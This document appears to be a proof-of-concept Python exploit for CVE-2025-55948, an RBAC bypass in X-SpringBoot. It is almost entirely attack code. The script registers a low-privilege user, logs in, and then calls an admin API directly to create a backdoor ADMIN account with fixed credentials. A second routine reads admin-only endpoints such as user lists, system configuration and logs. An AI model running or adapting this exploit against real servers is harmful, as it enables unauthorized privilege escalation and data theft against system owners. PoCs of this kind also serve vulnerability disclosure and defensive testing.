CVE-2025-55948: X-SpringBoot RBAC权限绕过漏洞

# CVE-2025-55948 PoC - X-SpringBoot RBAC权限绕过 # This PoC demonstrates how to bypass frontend permission controls # by directly calling API endpoints import requests import json TARGET_URL = "http://target-server:8080" def exploit_privilege_escalation(): """ Exploit the RBAC bypass to create an admin user """ # Step 1: Register a low-privilege user register_url = f"{TARGET_URL}/api/user/register" register_data = { "username": "attacker_user", "password": "Attacker123!", "email": "[email protected]" } response = requests.post(register_url, json=register_data) print(f"[+] User registration: {response.status_code}") # Step 2: Login to get session token login_url = f"{TARGET_URL}/api/user/login" login_data = { "username": "attacker_user", "password": "Attacker123!" } session = requests.Session() response = session.post(login_url, json=login_data) print(f"[+] Login status: {response.status_code}") # Step 3: The vulnerability - directly call admin API # Even though frontend menu doesn't show admin functions, # the backend permission table is not synchronized admin_create_url = f"{TARGET_URL}/api/admin/user/create" admin_payload = { "username": "malicious_admin", "password": "H4ck3d!2025", "role": "ADMIN", "email": "[email protected]" } # This request bypasses frontend permission check response = session.post(admin_create_url, json=admin_payload) if response.status_code == 200: print("[+] SUCCESS: Admin account created via API bypass!") print(f"[+] Created admin: malicious_admin / H4ck3d!2025") else: print(f"[-] Request failed: {response.status_code}") print(f"[-] Response: {response.text}") def access_sensitive_data(): """ Access sensitive data beyond user's clearance level """ # After login with low-privilege account session = requests.Session() session.post(f"{TARGET_URL}/api/user/login", json={"username": "low_priv_user", "password": "pass"}) # Directly access admin-only data endpoints sensitive_endpoints = [ "/api/admin/users/list", "/api/admin/system/config", "/api/admin/logs/all", "/api/admin/permissions/all" ] for endpoint in sensitive_endpoints: response = session.get(f"{TARGET_URL}{endpoint}") if response.status_code == 200: print(f"[+] Leaked data from {endpoint}") print(response.json()) if __name__ == "__main__": print("CVE-2025-55948 - X-SpringBoot RBAC Bypass PoC") print("=" * 50) exploit_privilege_escalation()